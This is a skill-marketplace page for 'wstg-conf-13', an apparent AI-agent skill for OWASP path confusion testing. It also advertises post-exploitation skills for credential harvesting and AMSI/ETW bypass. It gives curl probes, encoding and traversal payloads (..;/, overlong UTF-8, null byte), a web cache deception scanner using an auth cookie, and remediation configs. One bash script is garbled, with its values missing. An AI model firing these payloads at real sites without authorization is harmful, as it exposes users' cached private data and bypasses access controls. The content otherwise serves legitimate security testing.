Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-conf-13명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-conf-13 |
| description | Test for Path Confusion |
| category | configuration |
| owasp_id | WSTG-CONF-13 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["misconfiguration","hardening","server","wstg","conf"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CONF-13
Test for Path Confusion
Path confusion vulnerabilities arise when web servers, application frameworks, or caching systems interpret URL paths differently. Attackers can exploit these inconsistencies to bypass security controls, trigger web cache deception, or access restricted resources. This test identifies path handling discrepancies that could lead to security vulnerabilities.
| Attack | Description |
|---|---|
| Web Cache Deception | Cache stores sensitive responses |
| Path Traversal | Access unauthorized files |
| Security Bypass | Bypass authentication/authorization |
| Cache Poisoning | Poison cache with malicious content |
# Original URL
curl -s https://target.com/user/dashboard
# Test with added path segments
curl -s "https://target.com/user/dashboard/test.css"
curl -s "https://target.com/user/dashboard/nonexistent.js"
curl -s "https://target.com/user/dashboard/.css"
curl -s "https://target.com/user/dashboard/..%2F..%2Ftest"
# Compare responses - if sensitive data appears with added extensions,
# path confusion exists
#!/bin/bash
TARGET=
SENSITIVE_PATH=
extensions=( )
ext ;
test_url=
curl -s \
-H \
-o /dev/null \
-w
curl -s \
-o response.txt \
-w
grep -qi response.txt;
# Path parameters (common in Java/Spring)
curl -s "https://target.com/api/users;id=1/profile"
curl -s "https://target.com/api/users;.js"
# Matrix parameters
curl -s "https://target.com/api/users;format=json"
# Compare with normal path
curl -s "https://target.com/api/users/profile"
# Standard encoding
curl -s "https://target.com/admin"
# Double encoding
curl -s "https://target.com/%61dmin" # 'a' encoded
curl -s "https://target.com/%2561dmin" # double encoded
# Unicode/UTF-8
curl -s "https://target.com/admin%c0%af" # overlong encoding
curl -s "https://target.com/admin%e0%80%af"
# Mixed case
curl -s "https://target.com/ADMIN"
curl -s "https://target.com/Admin"
# With and without trailing slash
curl -sI "https://target.com/admin"
curl -sI "https://target.com/admin/"
curl -sI "https://target.com/admin//"
curl -sI "https://target.com/admin///"
# Compare response codes and redirects
# Add various extensions
base_url="https://target.com/api/sensitive-data"
extensions=(".json" ".xml" ".html" ".txt" ".css" ".js"
".png" ".jpg" ".gif" ".svg" ".woff" ".woff2"
".map" ".php" ".asp" ".aspx" ".jsp")
for ext in "${extensions[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "${base_url}${ext}")
echo "${base_url}${ext}: $status"
done
# Check cache headers
curl -sI "https://target.com/user/dashboard" | grep -i "cache\|age\|cdn\|x-cache"
# Test with cache-busting and static extension
curl -sI "https://target.com/user/dashboard/$(date +%s).css" | grep -i "cache\|age"
# Check for Vary header
curl -sI "https://target.com/user/dashboard" | grep -i "vary"
| Tool | Description | Usage |
|---|---|---|
| curl | HTTP client | Path manipulation testing |
| Burp Suite | Web proxy | Path fuzzing |
| OWASP ZAP | Web scanner | Automated testing |
| Tool | Description |
|---|---|
| Web Cache Deception Scanner | Burp extension |
| ParamMiner | Hidden parameter discovery |
#!/bin/bash
TARGET=$1
AUTH_COOKIE=$2
echo "=== WEB CACHE DECEPTION SCANNER ==="
echo "Target: $TARGET"
echo ""
# Sensitive endpoints to test
endpoints=(
"/account"
"/user/profile"
"/api/me"
"/settings"
"/dashboard"
"/my-account"
)
# Static file extensions
static_exts=(".css" ".js" ".png" ".jpg" ".gif" ".ico" ".svg" ".woff")
for endpoint in "${endpoints[@]}"; do
echo ""
echo "[+] Testing: $endpoint"
for ext in "${static_exts[@]}"; do
test_url="https://$TARGET${endpoint}${ext}"
# Authenticated request (to potentially cache sensitive data)
auth_response=$(curl -s "$test_url" -H "Cookie: $AUTH_COOKIE" -w "\n%{http_code}")
auth_status=$(echo "$auth_response" | tail -1)
auth_body=$(echo "$auth_response" | head -n -1)
# Wait for potential caching
sleep 1
# Unauthenticated request
unauth_response=$(curl -s "$test_url" -w "\n%{http_code}")
unauth_status=$(echo "$unauth_response" | tail -1)
unauth_body=$(echo "$unauth_response" | head -n -1)
# Compare
if [ "$auth_status" == "200" ] && [ "$unauth_status" == "200" ]; then
if [ "$auth_body" == "$unauth_body" ]; then
echo " [!] POTENTIAL VULN: ${endpoint}${ext}"
echo " Auth and unauth responses match!"
fi
fi
done
done
# Path Parameter Injection
/admin;.css
/admin;.js
/admin/..;/admin
/admin/.;/admin
# Path Normalization
/admin/./
/admin/../admin/
/admin/test/../
/admin%2f..%2fadmin
# Extension Confusion
/api/users.json.css
/api/users.css.json
/api/users/.css
# Null Byte (legacy)
/admin%00.css
/admin%00.jpg
# Unicode Normalization
/admin%c0%ae%c0%ae/
/admin%e0%80%ae/
# Django - Strict URL patterns
urlpatterns = [
path('user/dashboard/', views.dashboard, name='dashboard'), # Use trailing slash
]
# Add APPEND_SLASH = True for consistency
// Spring - Strict path matching
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void configurePathMatch(PathMatchConfigurer configurer) {
configurer.setUseSuffixPatternMatch(false);
configurer.setUseTrailingSlashMatch(false);
}
}
# Nginx - Don't cache based on extension alone
location ~* \.(css|js|png|jpg|gif|ico)$ {
# Only cache actual static files, not dynamic paths
try_files $uri =404;
expires 1d;
add_header Cache-Control "public, immutable";
}
# Ensure dynamic content is not cached
location /user/ {
add_header Cache-Control "private, no-store";
}
# Cloudflare Page Rules
- Match: /user/*
- Cache Level: Bypass
# Or use Cache-Control headers
Cache-Control: private, no-store, no-cache
Vary: Cookie, Authorization
# Validate and normalize paths
from urllib.parse import urlparse, unquote
def normalize_path(path):
# Decode URL encoding
decoded = unquote(path)
# Remove path traversal attempts
normalized = os.path.normpath(decoded)
# Validate against allowed paths
if not is_allowed_path(normalized):
raise ValueError("Invalid path")
return normalized
| Finding | CVSS | Severity |
|---|---|---|
| Web Cache Deception (sensitive data) | 7.5 | High |
| Path confusion bypassing auth | 8.8 | High |
| Path confusion information disclosure | 5.3 | Medium |
| Inconsistent path handling | 3.7 | Low |
| CWE ID | Title | Description |
|---|---|---|
| CWE-436 | Interpretation Conflict | Path interpretation differences |
| CWE-525 | Use of Web Browser Cache | Cache deception |
| CWE-22 | Path Traversal | Unauthorized file access |
[ ] Path normalization tested
[ ] URL encoding variations tested
[ ] Trailing slash behavior checked
[ ] Extension handling tested
[ ] Path parameters tested (;param)
[ ] Cache headers analyzed
[ ] Web cache deception tested
[ ] CDN behavior analyzed
[ ] Router regex patterns reviewed (white-box)
[ ] Inconsistencies documented
[ ] Risk assessment completed